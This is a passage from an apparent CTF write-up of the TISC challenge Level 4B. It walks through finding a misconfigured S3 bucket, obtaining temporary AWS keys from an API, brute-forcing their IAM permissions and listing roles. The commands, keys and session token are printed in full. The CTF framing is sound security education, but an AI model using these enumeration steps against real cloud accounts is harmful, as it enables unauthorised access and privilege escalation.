total 12
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 .
drwxr-xr-x 8 kali kali 4096 Sep  8 08:47 ..
-rw-r--r-- 1 kali kali  976 Jan  1  1980 presentation.xml.rels

./ppt/slideLayouts:
total 72
drwxr-xr-x 3 kali kali 4096 Sep  8 08:47 .
drwxr-xr-x 8 kali kali 4096 Sep  8 08:47 ..
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 _rels
-rw-r--r-- 1 kali kali 2946 Jan  1  1980 slideLayout10.xml
-rw-r--r-- 1 kali kali 3170 Jan  1  1980 slideLayout11.xml
-rw-r--r-- 1 kali kali 3648 Jan  1  1980 slideLayout1.xml
-rw-r--r-- 1 kali kali 2891 Jan  1  1980 slideLayout2.xml
-rw-r--r-- 1 kali kali 4384 Jan  1  1980 slideLayout3.xml
-rw-r--r-- 1 kali kali 3756 Jan  1  1980 slideLayout4.xml
-rw-r--r-- 1 kali kali 6285 Jan  1  1980 slideLayout5.xml
-rw-r--r-- 1 kali kali 2223 Jan  1  1980 slideLayout6.xml
-rw-r--r-- 1 kali kali 1897 Jan  1  1980 slideLayout7.xml
-rw-r--r-- 1 kali kali 4704 Jan  1  1980 slideLayout8.xml
-rw-r--r-- 1 kali kali 4623 Jan  1  1980 slideLayout9.xml

./ppt/slideLayouts/_rels:
total 52
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 .
drwxr-xr-x 3 kali kali 4096 Sep  8 08:47 ..
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout10.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout11.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout1.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout2.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout3.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout4.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout5.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout6.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout7.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout8.xml.rels
-rw-r--r-- 1 kali kali  311 Jan  1  1980 slideLayout9.xml.rels

./ppt/slideMasters:
total 28
drwxr-xr-x 3 kali kali  4096 Sep  8 08:47 .
drwxr-xr-x 8 kali kali  4096 Sep  8 08:47 ..
drwxr-xr-x 2 kali kali  4096 Sep  8 08:47 _rels
-rw-r--r-- 1 kali kali 12846 Jan  1  1980 slideMaster1.xml

./ppt/slideMasters/_rels:
total 12
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 .
drwxr-xr-x 3 kali kali 4096 Sep  8 08:47 ..
-rw-r--r-- 1 kali kali 1991 Jan  1  1980 slideMaster1.xml.rels

./ppt/slides:
total 16
drwxr-xr-x 3 kali kali 4096 Sep  8 08:47 .
drwxr-xr-x 8 kali kali 4096 Sep  8 08:47 ..
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 _rels
-rw-r--r-- 1 kali kali 3653 Jan  1  1980 slide1.xml

./ppt/slides/_rels:
total 12
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 .
drwxr-xr-x 3 kali kali 4096 Sep  8 08:47 ..
-rw-r--r-- 1 kali kali  838 Jan  1  1980 slide1.xml.rels

./ppt/theme:
total 16
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 .
drwxr-xr-x 8 kali kali 4096 Sep  8 08:47 ..
-rw-r--r-- 1 kali kali 6807 Jan  1  1980 theme1.xml

./_rels:
total 12
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 .
drwx------ 5 kali kali 4096 Sep  8 08:47 ..
-rw-r--r-- 1 kali kali  738 Jan  1  1980 .rels

┌──(kali㉿kali)-[/tmp/flag]
└─$ md5sum ./ppt/media/media1.mp3 
f9fc54d767edc937fc24f7827bf91cfe  ./ppt/media/media1.mp3

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Flag
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;TISC{f9fc54d767edc937fc24f7827bf91cfe}&lt;/code&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Level 4B
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ful73jfpunrlrf8f6zfgd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ful73jfpunrlrf8f6zfgd.png" width="642" height="581"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Solution
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Identifying S3 Bucket
&lt;/h2&gt;

&lt;p&gt;Firstly, I viewed the source code of the website at &lt;a href="https://d20whnyjsgpc34.cloudfront.net" rel="noopener noreferrer"&gt;https://d20whnyjsgpc34.cloudfront.net&lt;/a&gt;, which suggests AWS S3 buckets (since it uses the term S3).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;header&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"p-5 text-center bg-light"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="c"&gt;&amp;lt;!-- Passcode --&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h1&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"mb-3"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Cats rule the world&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="c"&gt;&amp;lt;!-- Passcode --&amp;gt;&lt;/span&gt;
    &lt;span class="c"&gt;&amp;lt;!-- 
      ----- Completed -----
      * Configure CloudFront to use the bucket - palindromecloudynekos as the origin

      ----- TODO -----
      * Configure custom header referrer and enforce S3 bucket to only accept that particular header
      * Secure all object access
    --&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h4&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"mb-3"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;—ฅ/ᐠ. ̫ .ᐟ\ฅ —&lt;span class="nt"&gt;&amp;lt;/h4&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;/header&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Researching on AWS S3 Buckets gets me to this link, &lt;a href="https://atos.net/en/lp/securitydive/poorly-configured-s3-buckets-a-hackers-delight" rel="noopener noreferrer"&gt;https://atos.net/en/lp/securitydive/poorly-configured-s3-buckets-a-hackers-delight&lt;/a&gt;. Following a typical bucket header, I get the link &lt;a href="https://palindromecloudynekos.s3.amazonaws.com/index.html" rel="noopener noreferrer"&gt;https://palindromecloudynekos.s3.amazonaws.com/index.html&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Enumerating S3 Bucket
&lt;/h2&gt;

&lt;p&gt;I installed AWS CLI following &lt;a href="https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html" rel="noopener noreferrer"&gt;this guide&lt;/a&gt;, and configured it using my peronal account. &lt;/p&gt;

&lt;p&gt;I then accessed the bucket following &lt;a href="https://n0j.github.io/2017/10/02/aws-s3-ctf.html" rel="noopener noreferrer"&gt;this guide&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/flag]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws s3 &lt;span class="nb"&gt;ls &lt;/span&gt;s3://    

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/flag]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws s3 &lt;span class="nb"&gt;ls &lt;/span&gt;s3://palindromecloudynekos
                           PRE api/
                           PRE img/
2022-08-23 09:16:20         34 error.html
2022-08-23 09:16:20       2257 index.html

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/flag]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws s3 &lt;span class="nb"&gt;ls &lt;/span&gt;s3://palindromecloudynekos/img/
2022-07-22 06:02:45     404845 photo1.jpg
2022-07-22 06:02:45     164700 photo2.jpg
2022-07-22 06:02:46     199175 photo3.jpg
2022-07-22 06:02:45     226781 photo4.jpg
2022-07-22 06:02:46     249156 photo5.jpg
2022-07-22 06:02:45     185166 photo6.jpg

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/flag]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws s3 &lt;span class="nb"&gt;ls &lt;/span&gt;s3://palindromecloudynekos/api/
2022-08-23 09:16:20        432 notes.txt

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/flag]
└─&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I accessed the file through the initial cloudfront URL. The bucket URL had permissions to prevent &lt;code&gt;notes.txt&lt;/code&gt; from being accessed directly from there&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;curl https://d20whnyjsgpc34.cloudfront.net/api/notes.txt                         
&lt;span class="c"&gt;# Neko Access System Invocation Notes&lt;/span&gt;

Invoke with the passcode &lt;span class="k"&gt;in &lt;/span&gt;the header &lt;span class="s2"&gt;"x-cat-header"&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; The passcode is found on the cloudfront site, all lower caps and separated using underscore.

https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent

All EC2 computing instances should be tagged with the key: &lt;span class="s1"&gt;'agent'&lt;/span&gt; and the value &lt;span class="nb"&gt;set &lt;/span&gt;to your username. Otherwise, the antivirus cleaner will wipe out the resources.

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I accessed the endpoint stated in the &lt;code&gt;notes.txt&lt;/code&gt;, and tested the access key&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/flag]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;curl https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent                                       

&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"Message"&lt;/span&gt;: &lt;span class="s2"&gt;"Error encountered. Please raise a support ticket through your relational team lead to resolve the issue."&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;                                                                                                                                                                        
┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/flag]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;curl https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"x-cat-header: cats_rule_the_world"&lt;/span&gt;              

&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"Message"&lt;/span&gt;: &lt;span class="s2"&gt;"Welcome there agent! Use the credentials wisely! It should be live for the next 120 minutes! Our antivirus will wipe them out and the associated resources after the expected time usage."&lt;/span&gt;, &lt;span class="s2"&gt;"Access_Key"&lt;/span&gt;: &lt;span class="s2"&gt;"AKIAQYDFBGMSUFX5522K"&lt;/span&gt;, &lt;span class="s2"&gt;"Secret_Key"&lt;/span&gt;: &lt;span class="s2"&gt;"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"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;                                                                                                                                                                        
┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/flag]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/flag]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws configure                            
AWS Access Key ID &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;********************&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;: AKIAQYDFBGMSUFX5522K
AWS Secret Access Key &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;********************&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;: 2FN3tUNNrQaZjTQ24MkFdcfphhy3CK+xtZInnMaj
Default region name &lt;span class="o"&gt;[&lt;/span&gt;None]: us-east-1
Default output format &lt;span class="o"&gt;[&lt;/span&gt;None]: 
┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/flag]
└─&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  AWS
&lt;/h1&gt;

&lt;h2&gt;
  
  
  AWS IAM Enum
&lt;/h2&gt;

&lt;h3&gt;
  
  
  General
&lt;/h3&gt;

&lt;p&gt;I did some general enumeration first&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;git clone https://github.com/andresriancho/enumerate-iam.git
Cloning into &lt;span class="s1"&gt;'enumerate-iam'&lt;/span&gt;...
remote: Enumerating objects: 56, &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
remote: Total 56 &lt;span class="o"&gt;(&lt;/span&gt;delta 0&lt;span class="o"&gt;)&lt;/span&gt;, reused 0 &lt;span class="o"&gt;(&lt;/span&gt;delta 0&lt;span class="o"&gt;)&lt;/span&gt;, pack-reused 56
Receiving objects: 100% &lt;span class="o"&gt;(&lt;/span&gt;56/56&lt;span class="o"&gt;)&lt;/span&gt;, 33.63 KiB | 3.74 MiB/s, &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Resolving deltas: 100% &lt;span class="o"&gt;(&lt;/span&gt;25/25&lt;span class="o"&gt;)&lt;/span&gt;, &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;enumerate-iam        

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/enumerate-iam]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/enumerate-iam]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;python3 ./enumerate-iam.py &lt;span class="nt"&gt;--access-key&lt;/span&gt; AKIAQYDFBGMSUFX5522K &lt;span class="nt"&gt;--secret-key&lt;/span&gt; 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 
2022-09-08 10:29:30,843 - 13773 - &lt;span class="o"&gt;[&lt;/span&gt;INFO] Starting permission enumeration &lt;span class="k"&gt;for &lt;/span&gt;access-key-id &lt;span class="s2"&gt;"AKIAQYDFBGMSUFX5522K"&lt;/span&gt;
2022-09-08 10:29:32,363 - 13773 - &lt;span class="o"&gt;[&lt;/span&gt;INFO] &lt;span class="nt"&gt;--&lt;/span&gt; Account ARN : arn:aws:iam::051751498533:user/user-b464a9d644194b0dafc3d166d36d5c4e
2022-09-08 10:29:32,364 - 13773 - &lt;span class="o"&gt;[&lt;/span&gt;INFO] &lt;span class="nt"&gt;--&lt;/span&gt; Account Id  : 051751498533
2022-09-08 10:29:32,364 - 13773 - &lt;span class="o"&gt;[&lt;/span&gt;INFO] &lt;span class="nt"&gt;--&lt;/span&gt; Account Path: user/user-b464a9d644194b0dafc3d166d36d5c4e
2022-09-08 10:29:32,615 - 13773 - &lt;span class="o"&gt;[&lt;/span&gt;INFO] Attempting common-service describe / list brute force.
2022-09-08 10:29:35,551 - 13773 - &lt;span class="o"&gt;[&lt;/span&gt;INFO] &lt;span class="nt"&gt;--&lt;/span&gt; ec2.describe_regions&lt;span class="o"&gt;()&lt;/span&gt; worked!
2022-09-08 10:29:36,374 - 13773 - &lt;span class="o"&gt;[&lt;/span&gt;INFO] &lt;span class="nt"&gt;--&lt;/span&gt; ec2.describe_vpcs&lt;span class="o"&gt;()&lt;/span&gt; worked!
2022-09-08 10:29:36,790 - 13773 - &lt;span class="o"&gt;[&lt;/span&gt;INFO] &lt;span class="nt"&gt;--&lt;/span&gt; ec2.describe_subnets&lt;span class="o"&gt;()&lt;/span&gt; worked!
2022-09-08 10:29:36,925 - 13773 - &lt;span class="o"&gt;[&lt;/span&gt;INFO] &lt;span class="nt"&gt;--&lt;/span&gt; ec2.describe_route_tables&lt;span class="o"&gt;()&lt;/span&gt; worked!
/home/kali/.local/lib/python3.9/site-packages/botocore/client.py:621: FutureWarning: The rds client is currently using a deprecated endpoint: rds.amazonaws.com. In the next minor version this will be moved to rds.us-east-1.amazonaws.com. See https://github.com/boto/botocore/issues/2705 &lt;span class="k"&gt;for &lt;/span&gt;more details.
  warnings.warn&lt;span class="o"&gt;(&lt;/span&gt;
2022-09-08 10:29:37,139 - 13773 - &lt;span class="o"&gt;[&lt;/span&gt;INFO] &lt;span class="nt"&gt;--&lt;/span&gt; ec2.describe_security_groups&lt;span class="o"&gt;()&lt;/span&gt; worked!
/home/kali/.local/lib/python3.9/site-packages/botocore/client.py:621: FutureWarning: The sqs client is currently using a deprecated endpoint: queue.amazonaws.com. In the next minor version this will be moved to sqs.us-east-1.amazonaws.com. See https://github.com/boto/botocore/issues/2705 &lt;span class="k"&gt;for &lt;/span&gt;more details.
  warnings.warn&lt;span class="o"&gt;(&lt;/span&gt;
/home/kali/.local/lib/python3.9/site-packages/botocore/client.py:621: FutureWarning: The shield client is currently using a deprecated endpoint: shield.us-east-1.amazonaws.com. In the next minor version this will be moved to shield.us-east-1.amazonaws.com. See https://github.com/boto/botocore/issues/2705 &lt;span class="k"&gt;for &lt;/span&gt;more details.
  warnings.warn&lt;span class="o"&gt;(&lt;/span&gt;
2022-09-08 10:29:45,719 - 13773 - &lt;span class="o"&gt;[&lt;/span&gt;INFO] &lt;span class="nt"&gt;--&lt;/span&gt; dynamodb.describe_endpoints&lt;span class="o"&gt;()&lt;/span&gt; worked!
/home/kali/.local/lib/python3.9/site-packages/botocore/client.py:621: FutureWarning: The health client is currently using a deprecated endpoint: health.us-east-1.amazonaws.com. In the next minor version this will be moved to global.health.amazonaws.com. See https://github.com/boto/botocore/issues/2705 &lt;span class="k"&gt;for &lt;/span&gt;more details.
  warnings.warn&lt;span class="o"&gt;(&lt;/span&gt;
2022-09-08 10:29:49,024 - 13773 - &lt;span class="o"&gt;[&lt;/span&gt;INFO] &lt;span class="nt"&gt;--&lt;/span&gt; sts.get_session_token&lt;span class="o"&gt;()&lt;/span&gt; worked!
2022-09-08 10:29:49,284 - 13773 - &lt;span class="o"&gt;[&lt;/span&gt;INFO] &lt;span class="nt"&gt;--&lt;/span&gt; sts.get_caller_identity&lt;span class="o"&gt;()&lt;/span&gt; worked!
2022-09-08 10:29:51,080 - 13773 - &lt;span class="o"&gt;[&lt;/span&gt;INFO] &lt;span class="nt"&gt;--&lt;/span&gt; iam.list_roles&lt;span class="o"&gt;()&lt;/span&gt; worked!
2022-09-08 10:29:52,409 - 13773 - &lt;span class="o"&gt;[&lt;/span&gt;INFO] &lt;span class="nt"&gt;--&lt;/span&gt; iam.list_instance_profiles&lt;span class="o"&gt;()&lt;/span&gt; worked!
2022-09-08 10:29:55,985 - 13773 - &lt;span class="o"&gt;[&lt;/span&gt;ERROR] Remove globalaccelerator.describe_accelerator_attributes action
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I researched on AWS CLI and found some useful resources&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/premiumsupport/knowledge-center/iam-assume-role-cli/" rel="noopener noreferrer"&gt;https://aws.amazon.com/premiumsupport/knowledge-center/iam-assume-role-cli/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://pentestbook.six2dez.com/enumeration/cloud/aws" rel="noopener noreferrer"&gt;https://pentestbook.six2dez.com/enumeration/cloud/aws&lt;/a&gt; (Especially this)&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  STS
&lt;/h4&gt;

&lt;p&gt;I want to find out the user first&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws sts get-session-token
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"Credentials"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"AccessKeyId"&lt;/span&gt;: &lt;span class="s2"&gt;"ASIAQYDFBGMSZBF6TPOA"&lt;/span&gt;,
        &lt;span class="s2"&gt;"SecretAccessKey"&lt;/span&gt;: &lt;span class="s2"&gt;"Sb9XcmVH6D9AHBkyZqrEcmVDHj1Oc8bc+uTx3Sfc"&lt;/span&gt;,
        &lt;span class="s2"&gt;"SessionToken"&lt;/span&gt;: &lt;span class="s2"&gt;"IQoJb3JpZ2luX2VjEKL//////////wEaCXVzLWVhc3QtMSJHMEUCICzSTyubo2spTfu218pmipD3AYOuvnC5LlyAbhn0puoRAiEA8cdOAMs8VwGz2AuVcyvjq1l6dpB9QXrVl3KfF3cv1AIq6wEIOxABGgwwNTE3NTE0OTg1MzMiDLaA+gudPdOkAEldWCrIAa0Dqo6VDEv9Pdz6fft34HbHzK1bpbyCjN4I5BPoQDGDB9NL9ndxhITaq6fOB6dIXGDKYPhUbrTFvVfIDENksgK5MET6qgb3wNw9wEmGFzmdSBXDj5YLBUVZwx7VmdM/3y42Jcii9CuAY/Zl7aT6DSO3GOTpkbNEAYwsgQEtNR3mqiGS1+qlfa29dK+zieN40jvT4zoLi8mkYpCXfb17mY4P2NT/0GK4Dd2uin7zOcf/LCvoG3eN7jOfcETxf5OzfvC3WTsRx7FBMMyw6pgGOpgBPxv6X3QG+ux6pWx+xnmZvz06ju8lq4h9EOmDWd3gi3bUwSI8DkbAmEUGZ0VPXcBzZ2s+mgntkHwYFhLZAJd5s04sJnnEZDbaGWTM3SzS+1yuODmEHg9c31yHUmpEE/rI7TpaQRg1v4oaLvdhM03OCmDQY4uuT96Gi4xRLy7vLpklg3fXAWPt746hvsZ8HP61KlBLyEZJams="&lt;/span&gt;,
        &lt;span class="s2"&gt;"Expiration"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-09-09T13:35:08+00:00"&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The username can be found in the Arn. Its after the slash, in this case its &lt;code&gt;user-a4f54ea053294863a598e6d01c5e4cc3&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws sts get-caller-identity
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"UserId"&lt;/span&gt;: &lt;span class="s2"&gt;"AIDAQYDFBGMS6M3T3E7N7"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Account"&lt;/span&gt;: &lt;span class="s2"&gt;"051751498533"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Arn"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:user/user-a4f54ea053294863a598e6d01c5e4cc3"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  IAM
&lt;/h3&gt;

&lt;p&gt;I wanted to look at the list of roles first, to figure what I can do.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/flag]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws iam list-roles    
    ...

        &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"Path"&lt;/span&gt;: &lt;span class="s2"&gt;"/"&lt;/span&gt;,
            &lt;span class="s2"&gt;"RoleName"&lt;/span&gt;: &lt;span class="s2"&gt;"ec2_agent_role"&lt;/span&gt;,
            &lt;span class="s2"&gt;"RoleId"&lt;/span&gt;: &lt;span class="s2"&gt;"AROAQYDFBGMSYSEMEVAEH"&lt;/span&gt;,
            &lt;span class="s2"&gt;"Arn"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:role/ec2_agent_role"&lt;/span&gt;,
            &lt;span class="s2"&gt;"CreateDate"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-07-22T09:29:34+00:00"&lt;/span&gt;,
            &lt;span class="s2"&gt;"AssumeRolePolicyDocument"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="s2"&gt;"Version"&lt;/span&gt;: &lt;span class="s2"&gt;"2012-10-17"&lt;/span&gt;,
                &lt;span class="s2"&gt;"Statement"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
                    &lt;span class="o"&gt;{&lt;/span&gt;
                        &lt;span class="s2"&gt;"Effect"&lt;/span&gt;: &lt;span class="s2"&gt;"Allow"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"Principal"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                            &lt;span class="s2"&gt;"Service"&lt;/span&gt;: &lt;span class="s2"&gt;"ec2.amazonaws.com"&lt;/span&gt;
                        &lt;span class="o"&gt;}&lt;/span&gt;,
                        &lt;span class="s2"&gt;"Action"&lt;/span&gt;: &lt;span class="s2"&gt;"sts:AssumeRole"&lt;/span&gt;
                    &lt;span class="o"&gt;}&lt;/span&gt;
                &lt;span class="o"&gt;]&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;,
            &lt;span class="s2"&gt;"MaxSessionDuration"&lt;/span&gt;: 3600
        &lt;span class="o"&gt;}&lt;/span&gt;,
        &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"Path"&lt;/span&gt;: &lt;span class="s2"&gt;"/"&lt;/span&gt;,
            &lt;span class="s2"&gt;"RoleName"&lt;/span&gt;: &lt;span class="s2"&gt;"lambda_agent_development_role"&lt;/span&gt;,
            &lt;span class="s2"&gt;"RoleId"&lt;/span&gt;: &lt;span class="s2"&gt;"AROAQYDFBGMS2NDQR5JSE"&lt;/span&gt;,
